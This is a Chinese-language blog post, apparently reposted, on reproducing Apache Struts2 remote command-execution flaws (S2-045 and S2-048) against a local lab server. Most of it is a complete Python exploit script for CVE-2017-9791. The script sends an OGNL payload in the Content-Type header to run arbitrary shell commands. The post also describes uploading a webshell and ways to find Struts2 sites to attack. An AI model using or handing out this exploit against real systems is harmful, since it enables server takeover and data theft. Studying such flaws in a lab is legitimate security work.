Struts2命令執行漏洞


Struts2簡介

Struts2 是 Apache 軟件組織推出的一個相當強大的 Java Web 開源框架,基於MVC 架構

Struts2是一個運行於web容器的表示層框架,其核心作用是幫助我們處理Http請求

Struts2幫我們解決了我們需要和Http打交道的眾多繁瑣的工作,這也是Struts2作為分層開發模式中表現層的核心所在

如何判斷網站使用了Struts框架?

網站url中以.action 或 do 結尾說明使用了struts2框架。然后使用k8工具測試,因不知道版本只能一個一個測試

查詢struts2漏洞,通過知道創宇網站:https://www.seebug.org/search/?keywords=struts2 查詢struts2漏洞

Struts2漏洞還原

攻擊工具:

K8 Struts2工具來測試,目前該工具集成2010年到2018年的高危漏洞2018年以后的漏洞就沒有更新了

2018年以后的Struts2漏洞,使用kali中msf最新的Struts2來攻擊

python代碼對Struts2漏洞進行攻擊

s2-045漏洞還原

struts2版本:struts-2.3.15.1版本。

環境:本地http://192.168.3.174機器上部署了struts-2.3.15.1

輸入2017 S2-045漏洞:http://192.168.3.174/struts2-showcase/actionchaining/actionChain1!input.action

執行命令查看服務器上面的信息

 上傳小馬

 服務器中查看上傳小馬文件成功

 

s2-048漏洞還原

python2環境

用法:struts048.py http://192.168.3.174/struts2-showcase/actionchaining/actionChain1!input.action "拼接需要執行的命令"   

struts048.py

#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import httplib
def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial
    print(page)
    return page
if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-048.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-9791 - Apache Struts2 S2-048')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)

查看安裝atruts2服務器的ip

 C:\>struts048.py http://192.168.3.174/struts2-showcase/actionchaining/actionChain1!input.action "ipconfig"

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM